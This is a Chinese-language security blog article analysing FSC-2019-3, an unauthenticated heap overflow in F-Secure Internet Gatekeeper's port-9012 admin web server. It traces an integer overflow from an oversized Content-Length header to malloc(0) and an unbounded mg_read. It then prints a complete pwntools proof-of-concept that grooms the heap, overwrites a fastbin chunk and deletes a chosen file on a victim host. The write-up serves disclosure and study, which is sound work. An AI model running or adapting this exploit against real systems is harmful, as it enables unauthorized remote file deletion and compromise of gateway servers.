堆溢出漏洞(FSC-2019-3):F-Secure Internet Gatekeeper应用程序解析,利用未经身份验证的远程代码执行漏洞
摘要:堆溢出漏洞(FSC-2019-3):F-Secure Internet Gatekeeper应用程序解析,利用未经身份验证的远程代码执行漏洞。
搭建漏洞复现环境
在我们的实验环境中,所有漏洞均在配置了至少1个处理器和4GB RAM的CentOS虚拟机中复现和测试。
接下来,下载F-Secure Internet Gatekeeper
但是现在,供应商已经删除了易受攻击的产品。
受影响的产品包SHA256如下:
1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26
安装步骤:
1.如果您使用的是x64版本的CentOS,请运行以下命令:
yum install glibc.i686;
2.然后,运行以下命令以安装F-Secure Internet Gatekeeper。
rpm -I <fsigkbin> .rpm
3.为了便于调试,请安装gdb 8+和gef。
现在,我们可以使用GHIDRA / IDA或其他反汇编/反编译工具对F-Secure Internet Gatekeeper进行反向分析。
漏洞分析
根据F-Secure提供的信息,F-Secure Internet Gatekeeper是一种“高效且易于管理的企业网络网关级安全保护解决方案”。
F-Secure Internet Gatekeeper包含一个在端口9012 / tcp上运行的控制面板。该面板可用于控制产品中所有可用的服务和规则,例如HTTP代理和IMAP代理等。可通过HTTP协议访问此控制面板。此功能由用C语言开发的fsikgwebui程序实现。实际上,整个Web服务器都使用C/C++开发,并且某些组件也使用CivetWeb代码,因此我们可以认为该服务器很可能会使用定制版本的CivetWeb。
因为服务器是用C/C++开发的,所以我们可以尝试找出是否存在内存崩溃漏洞,因为用这种语言开发的应用程序经常会遇到此安全问题。
在这里,我们选择使用Fuzzytron来模糊管理控制面板。Fuzzotron是一种功能强大的模糊测试工具,它使用Radamsa作为底层引擎驱动程序,并且具有内置的TCP支持以促进网络服务的模糊测试。对于测试用例,我们选择了一个有效的POST请求来更改管理员控制面板的语言设置,未经授权的用户可以发起该请求,因此非常适合我们的测试场景。
在分析Radamsa的变异输入样本时,我们可以看到该漏洞与Content-Length Header有关。导致软件崩溃的测试案例Header值为:Content-Length:21487483844,它指示溢出漏洞与整数计算错误有关。
在gdb中调试测试用例后,我们发现导致崩溃的代码位于fs_httpd_civetweb_callback_begin_request函数中。该功能主要负责处理入栈连接,并根据HTTP请求类型,地址路径或cookie将请求转发到下一步的相关功能。
在复制漏洞期间,我们需要向管理员控制面板使用的端口9012发送POST请求,在该端口上我们设置了很大的Content-Length Header值:
POST /submit HTTP/1.1Host: 192.168.0.24:9012Content-Length: 21487483844AAAAAAAAAAAAAAAAAAAAAAAAAAA
目标应用程序解析该请求并执行fs_httpd_get_header函数以获取Content-Length值。然后将该字段值传递给strtoul函数(将字符串转换为无符号长整数)进行处理。
与上述控制流程相对应的伪代码如下:
content_len = fs_httpd_get_header(header_struct, "Content-Length");if ( content_len ){ content_len_new = strtoul(content_len_old, 0, 10); }
strtoul函数的返回值为无符号long。在32位系统上,最大值为2 ^ 32-1。
由于我们提供的Content-Length太长,因此strtoul函数返回ULONG_MAX值(原始值溢出),因此32位系统上的对应值为0xFFFFFFFF。
当fs_httpd_civetweb_callback_begin_request函数尝试执行malloc请求以分配数据空间时,它会在调用malloc函数之前先向Content_Length变量加1。
相应的伪代码如下:
// fs_malloc == mallocdata_by_post_on_heap = fs_malloc(content_len_new + 1)
因为0xFFFFFFFF 1将导致整数溢出,所以最终结果为0×00000000,这将导致malloc分配0字节的内存空间。
调用malloc(0)时,该函数返回指向堆的有效指针,该指针指向最小的chunk(大小为0x10字节)。
经过进一步分析,我们可以看到在代码中也调用了mg_read函数:
// content_len_new is without the addition of 0x1.// so content_len_new == 0xFFFFFFFFif(content_len_new){ int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)}
发生溢出后,以上代码将无限制地读取堆中的任何数据量,这对于利用非常方便。此时,我们可以停止将数据写入HTTP流,并且目标软件将直接关闭连接并继续操作流。这样,我们可以完全控制需要写入的数据。
利用PoC
from pwn import *import timeimport sysdef send_payload(payload, content_len=21487483844, nofun=False): r = remote(sys.argv[1], 9012) r.send("POST / HTTP/1.1\n") r.send("Host: 192.168.0.122:9012\n") r.send("Content-Length: {}\n".format(content_len)) r.send("\n") r.send(payload) if not nofun: r.send("\n\n") return rdef trigger_exploit(): print "Triggering exploit" payload = "" payload += "A" * 12 # Padding payload += p32(0x1d) # Fast bin chunk overwrite payload += "A"* 488 # Padding payload += p32(0xdda00771) # Address of payload payload += p32(0xdda00771+4) # Junk r = send_payload(payload)def massage_heap(filename): print "Trying to massage the heap....." for x in xrange(100): payload = "" payload += p32(0x0) # Needed to bypass checks payload += p32(0x0) # Needed to bypass checks payload += p32(0xdda0077d) # Points to where the filename will be in memory payload += filename + "\x00" payload += "C"*(0x300-len(payload)) r = send_payload(payload, content_len=0x80000, nofun=True) r.close() cut_conn = True print "Heap massage done"if __name__ == "__main__": if len(sys.argv) != 3: print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0]) print "Run `export PWNLIB_SILENT=1` for disabling verbose connections" exit() massage_heap(sys.argv[2]) time.sleep(1) trigger_exploit() print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
修复漏洞
F-Secure为此安全问题分配了编号FSC-2019-3。当前,F-Secure已修复F-Secure Internet Gatekeeper的v5.40–5.50 hotfix 8 (2019-07-11)版本中该漏洞。
相关热词搜索:堆溢出漏洞 F-Secure Internet Gatekeeper 应用程序 身份验证 远程代码执行漏洞 重庆网络安全
上一篇:OpenBSD SMTP漏洞分析:远程执行代码,影响版本OpenBSD 6.6,OpenBSD 5.9,Debian 10,Debian 11,Fedora 31。
下一篇:反序列化漏洞(CVE-2020-2551) :Weblogic核心组件IIOP协议,调用远程对象的实现存在缺陷导致序列化对象可以任意构造
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了